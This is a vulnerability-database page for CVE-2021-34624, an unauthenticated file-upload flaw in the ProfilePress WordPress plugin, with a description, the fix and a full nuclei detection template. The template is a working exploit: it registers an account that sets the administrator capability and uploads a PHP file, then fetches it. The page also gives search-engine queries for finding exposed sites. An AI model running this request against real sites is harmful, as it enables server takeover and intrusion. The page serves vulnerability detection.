HexBrain

Browse / CVEs / CVE-2021-34624

CVE-2021-34624· properfraction / profilepress· CWE-434

WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload

criticalseverity
9.8CVSS score
7.8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.

Impact

Unauthenticated attackers can upload arbitrary files including PHP files during registration, achieving remote code execution and complete server compromise.

Fix

Update to ProfilePress version 3.1.4 or later

How to confirm it

Send: POST /wp-admin/admin-ajax.php ; GET /wp-content/uploads/pp-files/{{filename}}.php
Positive when: contains_all(body_2, "{{string}}") and contains(content_type_2, "text/html") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2021-34624 -u <target>

The full check
id: CVE-2021-34624

info:
  name: WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload
  author: Sourabh-Sahu
  severity: critical
  description: |
    A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP files during registration, achieving remote code execution and complete server compromise.
  remediation: Update to ProfilePress version 3.1.4 or later
  reference:
    - https://wpscan.com/vulnerability/e12448ec-84a0-46aa-b280-5d9a80ee1e41/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34624
    cwe-id: CWE-434
    epss-score: 0.07841
    epss-percentile: 0.94728
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: properfraction
    product: profilepress
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-user-avatar/"
    publicwww-query: "/wp-content/plugins/wp-user-avatar/"
    shodan-query: http.component:"profilepress"
  tags: cve,cve2021,wordpress,wp-plugin,wp,wpscan,wp-user-avatar,profilepress,rce,file-upload,unauth,intrusive,vkev,vuln

variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "CVE-2021-34624"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_username"

        {{username}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_email"

        {{email}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_password"

        {{password}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_password_present"

        true
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_first_name"

        {{firstname}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="reg_last_name"

        {{lastname}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="wp_capabilities[administrator]"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo "{{string}}"; ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /wp-content/uploads/pp-files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "{{string}}")'
          - 'contains(content_type_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from